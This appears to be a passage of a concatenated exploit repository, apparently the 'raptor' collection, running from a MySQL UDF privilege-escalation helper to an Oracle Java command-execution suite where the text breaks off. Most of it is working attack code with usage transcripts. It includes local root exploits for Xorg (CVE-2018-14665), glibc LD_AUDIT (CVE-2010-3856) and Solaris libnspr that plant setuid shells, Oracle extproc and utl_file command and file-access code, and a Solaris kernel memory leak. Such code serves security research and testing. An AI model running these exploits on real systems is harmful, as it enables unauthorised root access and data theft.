an helper dynamic library for local privilege escalation through 8 | * MySQL run with root privileges (very bad idea!). Tested on MySQL 4.0.17. 9 | * 10 | * Code ripped from: http://www.ngssoftware.com/papers/HackproofingMySQL.pdf 11 | * 12 | * "MySQL provides a mechanism by which the default set of functions can be 13 | * expanded by means of custom written dynamic libraries containing User 14 | * Defined Functions, or UDFs". -- Hackproofing MySQL 15 | * 16 | * Usage: 17 | * $ id 18 | * uid=500(raptor) gid=500(raptor) groups=500(raptor) 19 | * $ gcc -g -c raptor_udf.c 20 | * $ gcc -g -shared -W1,-soname,raptor_udf.so -o raptor_udf.so raptor_udf.o -lc 21 | * $ mysql -u root -p 22 | * Enter password: 23 | * [...] 24 | * mysql> use mysql; 25 | * mysql> create table foo(line blob); 26 | * mysql> insert into foo values(load_file('/home/raptor/raptor_udf.so')); 27 | * mysql> select * from foo into dumpfile '/usr/lib/raptor_udf.so'; 28 | * mysql> create function do_system returns integer soname 'raptor_udf.so'; 29 | * mysql> select * from mysql.func; 30 | * +-----------+-----+---------------+----------+ 31 | * | name | ret | dl | type | 32 | * +-----------+-----+---------------+----------+ 33 | * | do_system | 2 | raptor_udf.so | function | 34 | * +-----------+-----+---------------+----------+ 35 | * mysql> select do_system('id > /tmp/out; chown raptor.raptor /tmp/out'); 36 | * mysql> \! sh 37 | * sh-2.05b$ cat /tmp/out 38 | * uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm) 39 | * [...] 40 | */ 41 | 42 | #include 43 | #include 44 | 45 | enum Item_result {STRING_RESULT, REAL_RESULT, INT_RESULT, ROW_RESULT}; 46 | 47 | typedef struct st_udf_args { 48 | unsigned int arg_count; // number of arguments 49 | enum Item_result *arg_type; // pointer to item_result 50 | char **args; // pointer to arguments 51 | unsigned long *lengths; // length of string args 52 | char *maybe_null; // 1 for maybe_null args 53 | } UDF_ARGS; 54 | 55 | typedef struct st_udf_init { 56 | char maybe_null; // 1 if func can return NULL 57 | unsigned int decimals; // for real functions 58 | unsigned long max_length; // for string functions 59 | char *ptr; // free ptr for func data 60 | char const_item; // 0 if result is constant 61 | } UDF_INIT; 62 | 63 | int do_system(UDF_INIT *initid, UDF_ARGS *args, char *is_null, char *error) 64 | { 65 | if (args->arg_count != 1) 66 | return(0); 67 | 68 | system(args->args[0]); 69 | 70 | return(0); 71 | } 72 | -------------------------------------------------------------------------------- /oracle/raptor_orafile.sql: -------------------------------------------------------------------------------- 1 | -- 2 | -- $Id: raptor_orafile.sql,v 1.1 2006/12/19 13:53:01 raptor Exp $ 3 | -- 4 | -- raptor_orafile.sql - file system access suite for oracle 5 | -- Copyright (c) 2006 Marco Ivaldi 6 | -- 7 | -- This is an example file system access suite for Oracle based on the utl_file 8 | -- package (http://www.adp-gmbh.ch/ora/plsql/utl_file.html). Use it to remotely 9 | -- read/write OS files with the privileges of the RDBMS user, without the need 10 | -- for any special privileges (CONNECT and RESOURCE roles are more than enough). 11 | -- 12 | -- The database _must_ be configured with a non-NULL utl_file_dir value 13 | -- (preferably '*'). Check it using the following query: 14 | -- SQL> select name, value from v$parameter where name = 'utl_file_dir'; 15 | -- 16 | -- If you have the required privileges (ALTER SYSTEM) and feel brave 17 | -- enough to perform a DBMS shutdown/startup, you can consider modifying 18 | -- this parameter yourself, using the following PL/SQL: 19 | -- SQL> alter system set utl_file_dir='*' scope =spfile; 20 | -- 21 | -- See also: http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql 22 | -- 23 | -- Usage example: 24 | -- $ sqlplus scott/tiger 25 | -- [...] 26 | -- SQL> @raptor_orafile.sql 27 | -- [...] 28 | -- SQL> exec utlwritefile('/tmp', 'mytest', '# this is a fake .rhosts file'); 29 | -- SQL> exec utlwritefile('/tmp', 'mytest', '+ +'); 30 | -- SQL> set serveroutput on; 31 | -- SQL> exec utlreadfile('/tmp', 'mytest'); 32 | -- # this is a fake .rhosts file 33 | -- + + 34 | -- End of file. 35 | -- 36 | 37 | -- file reading module 38 | -- 39 | -- usage: set serveroutput on; 40 | -- exec utlreadfile('/dir', 'file'); 41 | create or replace procedure utlreadfile(p_directory in varchar2, p_filename in varchar2) as 42 | buffer varchar2(260); 43 | fd utl_file.file_type; 44 | begin 45 | fd := utl_file.fopen(p_directory, p_filename, 'r'); 46 | dbms_output.enable(1000000); 47 | loop 48 | utl_file.get_line(fd, buffer, 254); 49 | dbms_output.put_line(buffer); 50 | end loop; 51 | exception when no_data_found then 52 | dbms_output.put_line('End of file.'); 53 | if (utl_file.is_open(fd) = true) then 54 | utl_file.fclose(fd); 55 | end if; 56 | when others then 57 | if (utl_file.is_open(fd) = true) then 58 | utl_file.fclose(fd); 59 | end if; 60 | end; 61 | / 62 | 63 | -- file writing module 64 | -- 65 | -- usage: exec utlwritefile('/dir', 'file', 'line to append'); 66 | create or replace procedure utlwritefile(p_directory in varchar2, p_filename in varchar2, p_line in varchar2) as 67 | fd utl_file.file_type; 68 | begin 69 | fd := utl_file.fopen(p_directory, p_filename, 'a'); -- append 70 | utl_file.put_line(fd, p_line); 71 | if (utl_file.is_open(fd) = true) then 72 | utl_file.fclose(fd); 73 | end if; 74 | end; 75 | / 76 | -------------------------------------------------------------------------------- /solaris/raptor_solgasm: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # raptor_solgasm - xorg-x11-server LPE via Solaris inittab 5 | # Copyright (c) 2018 Marco Ivaldi 6 | # 7 | # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 8 | # check for -modulepath and -logfile options when starting Xorg. X server 9 | # allows unprivileged users with the ability to log in to the system via 10 | # physical console to escalate their privileges and run arbitrary code under 11 | # root privileges (CVE-2018-14665). 12 | # 13 | # "In video games, this is what they call respawning" -- Nick Sax 14 | # 15 | # This exploit targets /etc/inittab in order to escalate privileges to root 16 | # on Solaris 11 (no need to be connected to a physical console). Messing with 17 | # inittab is considerably dangerous and you may trash your system, however the 18 | # other potential vectors (cron, passwd, sudo, ld.config, etc.) either don't 19 | # work or are even worse. Still, DON'T RUN UNLESS YOU KNOW WHAT YOU ARE DOING! 20 | # 21 | # See also: 22 | # https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm 23 | # 24 | # Usage: 25 | # raptor@stalker:~$ chmod +x raptor_solgasm 26 | # raptor@stalker:~$ ./raptor_solgasm 27 | # [...] 28 | # Now please be patient for a few minutes... 29 | # [...] 30 | # To avoid trashing the system, remember to: mv /etc/inittab.old /etc/inittab 31 | # -rw-r--r-- 1 root staff 13870 nov 24 22:01 /etc/inittab 32 | # -rw-r--r-- 1 root sys 967 nov 24 20:01 /etc/inittab.old 33 | # -rwsrwxrwx 1 root root 1249080 nov 24 22:05 /tmp/pwned 34 | # root@stalker:/etc# id 35 | # uid=0(root) gid=0(root) 36 | # 37 | # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): 38 | # Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5] 39 | # Oracle Solaris 11 SPARC [untested] 40 | # 41 | 42 | echo "raptor_solgasm - xorg-x11-server LPE via Solaris inittab" 43 | echo "Copyright (c) 2018 Marco Ivaldi " 44 | 45 | # prepare the payload 46 | cat << EOF > /tmp/solgasm 47 | cp /bin/zsh /tmp/pwned # fallback in case gcc is not available 48 | echo "main(){setuid(0);setgid(0);system(\"/bin/bash\");}" > /tmp/pwned.c 49 | gcc /tmp/pwned.c -o /tmp/pwned 50 | chmod 4777 /tmp/pwned 51 | EOF 52 | chmod +x /tmp/solgasm 53 | 54 | # trigger the bug 55 | PWN=x$(cat /dev/urandom | env LC_CTYPE=C tr -dc '[:lower:]' | fold -3 | head -1) 56 | cd /etc 57 | Xorg -fp "${PWN}::respawn:/tmp/solgasm" -logfile inittab :1 & 58 | sleep 5 59 | pkill Xorg 60 | 61 | # run the setuid shell 62 | echo 63 | echo "Now please be patient for a few minutes..." 64 | echo 65 | until [ -u /tmp/pwned ]; do sleep 1; done 66 | echo "To avoid trashing the system remember to mv /etc/inittab.old /etc/inittab" 67 | ls -l /etc/inittab* 68 | ls -l /tmp/pwned 69 | sleep 1 70 | /tmp/pwned 71 | -------------------------------------------------------------------------------- /misc/raptor_xorgy: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # raptor_xorgy - xorg-x11-server LPE via modulepath switch 5 | # Copyright (c) 2018 Marco Ivaldi 6 | # 7 | # A flaw was found in xorg-x11-server before 1.20.3. An incorrect permission 8 | # check for -modulepath and -logfile options when starting Xorg. X server 9 | # allows unprivileged users with the ability to log in to the system via 10 | # physical console to escalate their privileges and run arbitrary code under 11 | # root privileges (CVE-2018-14665). 12 | # 13 | # This exploit variant triggers the bug in the -modulepath command line switch 14 | # to load a malicious X11 module in order to escalate privileges to root on 15 | # vulnerable systems. This technique is less invasive than exploiting the 16 | # -logfile switch, however the gcc compiler must be present in order for it to 17 | # work out of the box. Alternatively, you must use a pre-compiled malicious .so 18 | # compatible with the target system and modify the exploit accordingly. 19 | # 20 | # It works very reliably on Solaris 11.4 and should work on most vulnerable 21 | # Linux distributions (though I haven't tested it). It fails on OpenBSD due to 22 | # their Xorg privilege separation (Xenocara). On this platform you should use 23 | # raptor_xorgasm instead. 24 | # 25 | # Thanks to @alanc and @nushinde for discussing this alternative vector. 26 | # 27 | # See also: 28 | # https://github.com/0xdea/exploits/blob/master/openbsd/raptor_xorgasm 29 | # https://github.com/0xdea/exploits/blob/master/solaris/raptor_solgasm 30 | # https://www.securepatterns.com/2018/10/cve-2018-14665-another-way-of.html 31 | # https://nvd.nist.gov/vuln/detail/CVE-2006-0745 32 | # 33 | # Usage: 34 | # raptor@stalker:~$ chmod +x raptor_xorgy 35 | # raptor@stalker:~$ ./raptor_xorgy 36 | # [...] 37 | # root@stalker:~# id 38 | # uid=0(root) gid=0(root) 39 | # 40 | # Vulnerable platforms (setuid Xorg 1.19.0 - 1.20.2): 41 | # Oracle Solaris 11 X86 [tested on 11.4.0.0.1.15.0 with Xorg 1.19.5] 42 | # Oracle Solaris 11 SPARC [untested] 43 | # CentOS Linux 7 [untested] 44 | # Red Hat Enterprise Linux 7 [untested] 45 | # Ubuntu Linux 18.10 [untested] 46 | # Ubuntu Linux 18.04 LTS [untested] 47 | # Ubuntu Linux 16.04 LTS [untested] 48 | # Debian GNU/Linux 9 [untested] 49 | # [...] 50 | # 51 | 52 | echo "raptor_xorgy - xorg-x11-server LPE via modulepath switch" 53 | echo "Copyright (c) 2018 Marco Ivaldi " 54 | echo 55 | 56 | # prepare the payload 57 | cat << EOF > /tmp/pwned.c 58 | _init() 59 | { 60 | setuid(0); 61 | setgid(0); 62 | system("/bin/bash"); 63 | } 64 | EOF 65 | # libglx.so should be a good target, refer to Xorg logs for other candidates 66 | gcc -fPIC -shared -nostartfiles -w /tmp/pwned.c -o /tmp/libglx.so 67 | if [ $? -ne 0 ]; then echo; echo "error: cannot compile /tmp/pwned.c"; exit; fi 68 | 69 | # trigger the bug 70 | echo "Got root?" 71 | Xorg -modulepath ",/tmp" :1 72 | -------------------------------------------------------------------------------- /linux/raptor_ldaudit: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_ldaudit,v 1.2 2011/02/04 11:04:36 raptor Exp $ 5 | # 6 | # raptor_ldaudit - privilege escalation through glibc ld.so 7 | # Copyright (c) 2010 Marco Ivaldi 8 | # 9 | # Property of @ Mediaservice.net Srl Data Security Division 10 | # http://www.mediaservice.net/ http://lab.mediaservice.net/ 11 | # 12 | # ld.so in the GNU C Library (aka glibc or libc6) before 2.11.3, and 2.12.x 13 | # before 2.12.2, does not properly restrict use of the LD_AUDIT environment 14 | # variable to reference dynamic shared objects (DSOs) as audit objects, which 15 | # allows local users to gain privileges by leveraging an unsafe DSO located in 16 | # a trusted library directory, as demonstrated by libpcprofile.so 17 | # (CVE-2010-3856). 18 | # 19 | # "Suit up. Score chicks. Be awesome." -- Barney Stinson 20 | # 21 | # This vulnerability has been disclosed by Tavis Ormandy (with thanks to Ben 22 | # Hawkes and Julien Tinnes): http://seclists.org/fulldisclosure/2010/Oct/344 23 | # 24 | # Other possible attack vectors: /etc/cron.{hourly,daily,weekly,monthly}, at 25 | # (/var/spool/atjobs/), xinetd (/etc/xinetd.d), /etc/logrotate.d and more... 26 | # 27 | # Usage: 28 | # $ chmod +x raptor_ldaudit 29 | # $ ./raptor_ldaudit 30 | # [...] 31 | # Everything looks fine. Just wait for it... LEGEN-DARY! 32 | # -rwsr-xr-x 1 root users 5707 2010-11-11 14:48 /tmp/pwned 33 | # sh-4.1# id 34 | # uid=0(root) gid=0(root) groups=0(root),100(users) 35 | # sh-4.1# 36 | # [don't forget to delete /tmp/pwned*!] 37 | # 38 | # Vulnerable platforms: 39 | # Slackware 13.1 [tested, weird loop in dillon's cron but it works] 40 | # openSUSE 11.3 [untested] 41 | # Fedora Core 13 [untested] 42 | # RHEL/CentOS 5 [untested] 43 | # Ubuntu 10 [untested] 44 | # [...] 45 | # 46 | 47 | echo "raptor_ldaudit - privilege escalation through glibc ld.so" 48 | echo "Copyright (c) 2010 Marco Ivaldi " 49 | echo 50 | 51 | # prepare setuid shell helper to circumvent bash checks 52 | echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c 53 | gcc -o /tmp/pwned /tmp/pwned.c 54 | if [ $? -ne 0 ]; then 55 | echo "Error: Problems compiling setuid shell helper, check your gcc." 56 | exit 1 57 | fi 58 | 59 | # do the magic! 60 | runme="/etc/cron.d/runme" 61 | umask 0 62 | LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$runme" ping 2>/dev/null 63 | if [ "`cat $runme 2>/dev/null`" = "" ]; then 64 | echo "Error: Not vulnerable or wrong attack vector? See comments." 65 | exit 1 66 | fi 67 | 68 | # build the cron script (vixie's crontab) 69 | echo -n > $runme 70 | echo "* * * * * root chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f $runme" >> $runme 71 | # build the cron script (dillon's crontab) 72 | echo "* * * * * chown root /tmp/pwned; chmod 4755 /tmp/pwned; rm -f $runme" >> $runme 73 | 74 | # legen -- wait for it -- dary! 75 | echo -n "Everything looks fine. Just wait for it... " 76 | sleep 70 77 | echo "LEGEN-DARY!" 78 | ls -l /tmp/pwned 79 | /tmp/pwned 80 | -------------------------------------------------------------------------------- /solaris/raptor_libnspr3: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_libnspr3,v 1.1 2006/10/23 16:25:34 raptor Exp $ 5 | # 6 | # raptor_libnspr3 - Solaris 10 libnspr constructor exploit 7 | # Copyright (c) 2006 Marco Ivaldi 8 | # 9 | # Local exploitation of a design error vulnerability in version 4.6.1 of 10 | # NSPR, as included with Sun Microsystems Solaris 10, allows attackers to 11 | # create or overwrite arbitrary files on the system. The problem exists 12 | # because environment variables are used to create log files. Even when the 13 | # program is setuid, users can specify a log file that will be created with 14 | # elevated privileges (CVE-2006-4842). 15 | # 16 | # Yet another newschool version of the local root exploit: this time we place 17 | # our code in the global constructor (ctors) for the library, as suggested by 18 | # gera. This way, we don't have to hide a real function and we have a generic 19 | # library that can be used in all exploits like this. To avoid annoying side- 20 | # effects, i use trusted directories and LD_LIBRARY_PATH instead of replacing 21 | # a library in the default search path. 22 | # 23 | # See also: 24 | # http://www.0xdeadbeef.info/exploits/raptor_libnspr 25 | # http://www.0xdeadbeef.info/exploits/raptor_libnspr2 26 | # 27 | # Usage: 28 | # $ chmod +x raptor_libnspr3 29 | # $ ./raptor_libnspr3 30 | # [...] 31 | # Sun Microsystems Inc. SunOS 5.10 Generic January 2005 32 | # # id 33 | # uid=0(root) gid=1(other) 34 | # # rm /usr/lib/secure/libldap.so.5 35 | # # 36 | # 37 | # Vulnerable platforms (SPARC): 38 | # Solaris 10 without patch 119213-10 [tested] 39 | # 40 | # Vulnerable platforms (x86): 41 | # Solaris 10 without patch 119214-10 [untested] 42 | # 43 | 44 | echo "raptor_libnspr3 - Solaris 10 libnspr constructor exploit" 45 | echo "Copyright (c) 2006 Marco Ivaldi " 46 | echo 47 | 48 | # prepare the environment 49 | NSPR_LOG_MODULES=all:5 50 | NSPR_LOG_FILE=/usr/lib/secure/libldap.so.5 51 | export NSPR_LOG_MODULES NSPR_LOG_FILE 52 | 53 | # gimme -rw-rw-rw-! 54 | umask 0 55 | 56 | # setuid program linked to /usr/lib/mps/libnspr4.so 57 | /usr/bin/chkey 58 | 59 | # other good setuid targets 60 | #/usr/bin/passwd 61 | #/usr/bin/lp 62 | #/usr/bin/cancel 63 | #/usr/bin/lpset 64 | #/usr/bin/lpstat 65 | #/usr/lib/lp/bin/netpr 66 | #/usr/sbin/lpmove 67 | #/usr/bin/su 68 | #/usr/bin/mailq 69 | 70 | # prepare the evil shared library 71 | echo "void __attribute__ ((constructor)) cons() {" > /tmp/ctors.c 72 | echo " setuid(0);" >> /tmp/ctors.c 73 | echo " execle(\"/bin/ksh\", \"ksh\", 0, 0);" >> /tmp/ctors.c 74 | echo "}" >> /tmp/ctors.c 75 | gcc -fPIC -g -O2 -shared -o /usr/lib/secure/libldap.so.5 /tmp/ctors.c -lc 76 | if [ $? -ne 0 ]; then 77 | echo "problems compiling evil shared library, check your gcc" 78 | exit 1 79 | fi 80 | 81 | # newschool LD_LIBRARY_PATH foo;) 82 | unset NSPR_LOG_MODULES NSPR_LOG_FILE 83 | LD_LIBRARY_PATH=/usr/lib/secure su - 84 | -------------------------------------------------------------------------------- /oracle/raptor_oraextproc.sql: -------------------------------------------------------------------------------- 1 | -- 2 | -- $Id: raptor_oraextproc.sql,v 1.1 2006/12/19 13:53:01 raptor Exp $ 3 | -- 4 | -- raptor_oraextproc.sql - command exec via oracle extproc 5 | -- Copyright (c) 2006 Marco Ivaldi 6 | -- 7 | -- Directory traversal vulnerability in extproc in Oracle 9i and 10g 8 | -- allows remote attackers to access arbitrary libraries outside of the 9 | -- $ORACLE_HOME\bin directory (CVE-2004-1364). 10 | -- 11 | -- This PL/SQL code exploits the Oracle extproc directory traversal bug 12 | -- to remotely execute arbitrary OS commands with the privileges of the DBMS 13 | -- user (the CREATE [ANY] LIBRARY privilege is needed). 14 | -- 15 | -- See also: 16 | -- http://www.0xdeadbeef.info/exploits/raptor_oraexec.sql 17 | -- http://www.0xdeadbeef.info/exploits/raptor_orafile.sql 18 | -- 19 | -- Vulnerable platforms: 20 | -- Oracle 9i (all versions?) 21 | -- Oracle 10g versions prior to 10.1.0.3 22 | -- 23 | -- Tested on Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production, 24 | -- running on both Solaris 9 and 10 systems. It will need some tweakings to 25 | -- properly work on other platforms. 26 | -- 27 | -- Usage example: 28 | -- $ echo $ORACLE_HOME 29 | -- /opt/oracle/ 30 | -- $ sqlplus "/ as sysdba" 31 | -- [...] 32 | -- Connected to: 33 | -- Oracle9i Enterprise Edition Release 9.2.0.1.0 - 64bit Production 34 | -- With the Partitioning, OLAP and Oracle Data Mining options 35 | -- JServer Release 9.2.0.1.0 - Production 36 | -- SQL> @raptor_oraextproc.sql 37 | -- [...] 38 | -- exec oracmd32.exec('touch /tmp/32'); 39 | -- [...] 40 | -- ERROR at line 1: 41 | -- ORA-06520: PL/SQL: Error loading external library 42 | -- ORA-06522: ld.so.1: extprocPLSExtProc: fatal: 43 | -- /opt/oracle/bin/../../../../../../../lib/32/libc.so.1: wrong ELF class: 44 | -- ELFCLASS32 45 | -- [...] 46 | -- SQL> exec oracmd64.exec('touch /tmp/64'); 47 | -- SQL> !ls -l /tmp/64 48 | -- -rw-r--r-- 1 oracle orainst 0 Dec 19 13:49 /tmp/64 49 | -- 50 | 51 | -- library for 32-bit oracle releases 52 | create or replace library exec_shell32 as 53 | '$ORACLE_HOME/bin/../../../../../../../lib/32/libc.so.1'; 54 | / 55 | 56 | -- library for 64-bit oracle releases 57 | create or replace library exec_shell64 as 58 | '$ORACLE_HOME/bin/../../../../../../../lib/64/libc.so.1'; 59 | / 60 | 61 | -- package for 32-bit oracle releases 62 | -- usage: exec oracmd32.exec('command'); 63 | create or replace package oracmd32 as 64 | procedure exec(cmdstring in char); 65 | end oracmd32; 66 | / 67 | create or replace package body oracmd32 as 68 | procedure exec(cmdstring in char) 69 | is external 70 | name "system" 71 | library exec_shell32 72 | language c; 73 | end oracmd32; 74 | / 75 | 76 | -- package for 64-bit oracle releases 77 | -- usage: exec oracmd64.exec('command'); 78 | create or replace package oracmd64 as 79 | procedure exec(cmdstring in char); 80 | end oracmd64; 81 | / 82 | create or replace package body oracmd64 as 83 | procedure exec(cmdstring in char) 84 | is external 85 | name "system" 86 | library exec_shell64 87 | language c; 88 | end oracmd64; 89 | / 90 | -------------------------------------------------------------------------------- /linux/raptor_ldaudit2: -------------------------------------------------------------------------------- 1 | #!/bin/sh 2 | 3 | # 4 | # $Id: raptor_ldaudit2,v 1.2 2011/02/04 11:04:36 raptor Exp $ 5 | # 6 | # raptor_ldaudit2 - another glibc ld.so exploit (logrotate) 7 | # Copyright (c) 2010 Marco Ivaldi 8 | # 9 | # Property of @ Mediaservice.net Srl Data Security Division 10 | # http://www.mediaservice.net/ http://lab.mediaservice.net/ 11 | # 12 | # ld.so in the GNU C Library (aka glibc or libc6) before 2.11.3, and 2.12.x 13 | # before 2.12.2, does not properly restrict use of the LD_AUDIT environment 14 | # variable to reference dynamic shared objects (DSOs) as audit objects, which 15 | # allows local users to gain privileges by leveraging an unsafe DSO located in 16 | # a trusted library directory, as demonstrated by libpcprofile.so 17 | # (CVE-2010-3856). 18 | # 19 | # "Suit up. Score chicks. Be awesome." -- Barney Stinson 20 | # 21 | # This vulnerability has been disclosed by Tavis Ormandy (with thanks to Ben 22 | # Hawkes and Julien Tinnes): http://seclists.org/fulldisclosure/2010/Oct/344 23 | # 24 | # This exploit uses the logrotate attack vector. See also the cron.d version 25 | # available at: http://www.0xdeadbeef.info/exploit/raptor_ldaudit 26 | # 27 | # Usage: 28 | # $ chmod +x raptor_ldaudit2 29 | # $ ./raptor_ldaudit2 30 | # [...] 31 | # Everything looks fine. 32 | # Just wait until logrotate is run and check /tmp/pwned. 33 | # [...] 34 | # $ /tmp/pwned 35 | # sh-4.1# id 36 | # uid=0(root) gid=0(root) groups=0(root),100(users) 37 | # sh-4.1# 38 | # [don't forget to delete /tmp/pwned* and /var/log/runme*!] 39 | # 40 | # Vulnerable platforms: 41 | # Slackware 13.1 [tested] 42 | # openSUSE 11.3 [untested] 43 | # Fedora Core 13 [untested] 44 | # RHEL/CentOS 5 [untested] 45 | # Ubuntu 10 [untested] 46 | # [...] 47 | # 48 | 49 | echo "raptor_ldaudit2 - another glibc ld.so exploit (logrotate)" 50 | echo "Copyright (c) 2010 Marco Ivaldi " 51 | echo 52 | 53 | # prepare setuid shell helper to circumvent bash checks 54 | echo "main(){setuid(0);setgid(0);system(\"/bin/sh\");}" > /tmp/pwned.c 55 | gcc -o /tmp/pwned /tmp/pwned.c 56 | if [ $? -ne 0 ]; then 57 | echo "Error: Problems compiling setuid shell helper, check your gcc." 58 | exit 1 59 | fi 60 | 61 | # create a fake log file in /var/log 62 | LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="/var/log/runme" ping 2>/dev/null 63 | 64 | # do the magic! 65 | runme="/etc/logrotate.d/runme" 66 | umask 0 67 | LD_AUDIT="libpcprofile.so" PCPROFILE_OUTPUT="$runme" ping 2>/dev/null 68 | if [ "`cat $runme 2>/dev/null`" = "" ]; then 69 | echo "Error: Not vulnerable or wrong attack vector? See comments." 70 | exit 1 71 | fi 72 | 73 | # build the logrotate script 74 | echo "/var/log/runme {" > $runme 75 | echo "daily" >> $runme 76 | echo "size=0" >> $runme 77 | echo "firstaction" >> $runme 78 | echo "chown root /tmp/pwned;chmod 4755 /tmp/pwned;rm -f $runme" >> $runme 79 | echo "endscript" >> $runme 80 | echo "}" >> $runme 81 | 82 | # legen -- wait for it -- dary! 83 | echo "Everything looks fine." 84 | echo "Just wait until logrotate is run and check /tmp/pwned." 85 | -------------------------------------------------------------------------------- /solaris/raptor_sysinfo.c: -------------------------------------------------------------------------------- 1 | /* 2 | * $Id: raptor_sysinfo.c,v 1.2 2006/08/22 13:48:39 raptor Exp $ 3 | * 4 | * raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak 5 | * Copyright (c) 2006 Marco Ivaldi 6 | * 7 | * systeminfo.c for Sun Solaris allows local users to read kernel memory via 8 | * a 0 variable count argument to the sysinfo system call, which causes a -1 9 | * argument to be used by the copyout function. NOTE: this issue has been 10 | * referred to as an integer overflow, but it is probably more like a 11 | * signedness error or integer underflow (CVE-2006-3824). 12 | * 13 | * http://en.wikipedia.org/wiki/Pitagora_Suicchi 14 | * 15 | * Greets to prdelka, who also exploited this vulnerability. 16 | * 17 | * I should also definitely investigate the old sysinfo(2) vulnerability 18 | * described in CVE-2003-1062, affecting Solaris/SPARC 2.6 through 9 and 19 | * Solaris/x86 2.6 through 8... It may come in handy sooner or later;) 20 | * 21 | * Usage: 22 | * $ gcc raptor_sysinfo.c -o raptor_sysinfo -Wall 23 | * $ ./raptor_sysinfo kerndump 666666 24 | * [...] 25 | * $ ls -l kerndump 26 | * -rwx------ 1 raptor other 666666 Aug 22 14:41 kerndump 27 | * 28 | * Vulnerable platforms (SPARC): 29 | * Solaris 10 without patch 118833-09 [tested] 30 | * 31 | * Vulnerable platforms (x86): 32 | * Solaris 10 without patch 118855-06 [untested] 33 | */ 34 | 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include 40 | #include 41 | #include 42 | 43 | #define INFO1 "raptor_sysinfo.c - Solaris sysinfo(2) kernel memory leak" 44 | #define INFO2 "Copyright (c) 2006 Marco Ivaldi " 45 | 46 | #define BUFSIZE 536870911 47 | 48 | int errno; 49 | 50 | int main(int argc, char **argv) 51 | { 52 | int fd; 53 | size_t out, bufsize = BUFSIZE; 54 | char *buf; 55 | 56 | /* print exploit information */ 57 | fprintf(stderr, "%s\n%s\n\n", INFO1, INFO2); 58 | 59 | /* read command line */ 60 | if (argc < 2) { 61 | fprintf(stderr, "usage: %s outfile [outsize]\n\n", argv[0]); 62 | exit(1); 63 | } 64 | if (argc > 2) 65 | if ((bufsize = atoi(argv[2])) == 0) { 66 | fprintf(stderr, "Error (atoi): invalid outsize\n"); 67 | exit(1); 68 | } 69 | 70 | /* print some output */ 71 | fprintf(stderr, "Using outfile\t: %s\n", argv[1]); 72 | fprintf(stderr, "Using outsize\t: %u\n\n", bufsize); 73 | 74 | /* prepare the output buffer */ 75 | if ((buf = (char *)malloc(bufsize)) == NULL) { 76 | perror("Error (malloc)"); 77 | fprintf(stderr, "Hint: Try again with a smaller output size\n"); 78 | exit(1); 79 | } 80 | memset(buf, 0, bufsize); 81 | 82 | /* Pitagora Suicchi! */ 83 | sysinfo(SI_SYSNAME, buf, 0); 84 | 85 | /* save output to outfile */ 86 | if ((fd = open(argv[1], O_RDWR | O_CREAT | O_TRUNC, 0700)) < 0) { 87 | perror("Error (open)"); 88 | free(buf); 89 | exit(1); 90 | } 91 | out = write(fd, buf, bufsize); 92 | fprintf(stderr, "Pitagora Suicchi! %u bytes written to %s\n", out, argv[1]); 93 | fprintf(stderr, "Hint: Try also with a bigger output size\n"); 94 | 95 | close(fd); 96 | free(buf); 97 | 98 | exit(0); 99 | } 100 | -------------------------------------------------------------------------------- /oracle/raptor_oraexec.sql: -------------------------------------------------------------------------------- 1 | -- 2 | -- $Id: raptor_oraexec.sql,v 1.2 2006/11/23 23:40:02 raptor Exp $ 3 | -- 4 | -- raptor_oraexec.sql - java exploitation suite for oracle 5 | -- Copyright (c) 2006 Marco Ivaldi 6 | -- 7 | -- This is an exploitation suite for Oracle written in Java. Use it to 8 | -- read/write files and execute OS commands with the privileges of the 9 | -- RDBMS, if you have the required permissions (DBA role and SYS:java). 10 | -- 11 | -- "The Oracle RDBMS could almost be considered as a shell like bash or the 12 | -- Windows Command Prompt; it's not only capable of storing data but can also 13 | -- be used to completely access the file system and run operating system 14 | -- commands" -- David Litchfield (http://www.databasesecurity.com/) 15 | -- 16 | -- Usage example: 17 | -- $ sqlplus "/ as sysdba" 18 | -- [...] 19 | -- SQL> @raptor_oraexec.sql 20 | -- [...] 21 | -- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l > /tmp/aaa'); 22 | -- SQL> exec javawritefile('/tmp/mytest', '/bin/ls -l / > /tmp/bbb'); 23 | -- SQL> exec dbms_java.set_output(2000); 24 | -- SQL> set serveroutput on; 25 | -- SQL> exec javareadfile('/tmp/mytest'); 26 | -- /bin/ls -l > /tmp/aaa 27 | -- /bin/ls -l / >/tmp/bbb 28 | -- SQL> exec javacmd('/bin/sh /tmp/mytest'); 29 | -- SQL> !sh 30 | -- $ ls -rtl /tmp/ 31 | -- [...] 32 | -- -rw-r--r-- 1 oracle system 45 Nov 22 12:20 mytest 33 | -- -rw-r--r-- 1 oracle system 1645 Nov 22 12:20 aaa 34 | -- -rw-r--r-- 1 oracle system 8267 Nov 22 12:20 bbb 35 | -- [...] 36 | -- 37 | 38 | create or replace and resolve java source named "oraexec" as 39 | import java.lang.*; 40 | import java.io.*; 41 | public class oraexec 42 | { 43 | /* 44 | * Command execution module 45 | */ 46 | public static void execCommand(String command) throws IOException 47 | { 48 | Runtime.getRuntime().exec(command); 49 | } 50 | 51 | /* 52 | * File reading module 53 | */ 54 | public static void readFile(String filename) throws IOException 55 | { 56 | FileReader f = new FileReader(filename); 57 | BufferedReader fr = new BufferedReader(f); 58 | String text = fr.readLine(); 59 | while (text != null) { 60 | System.out.println(text); 61 | text = fr.readLine(); 62 | } 63 | fr.close(); 64 | } 65 | 66 | /* 67 | * File writing 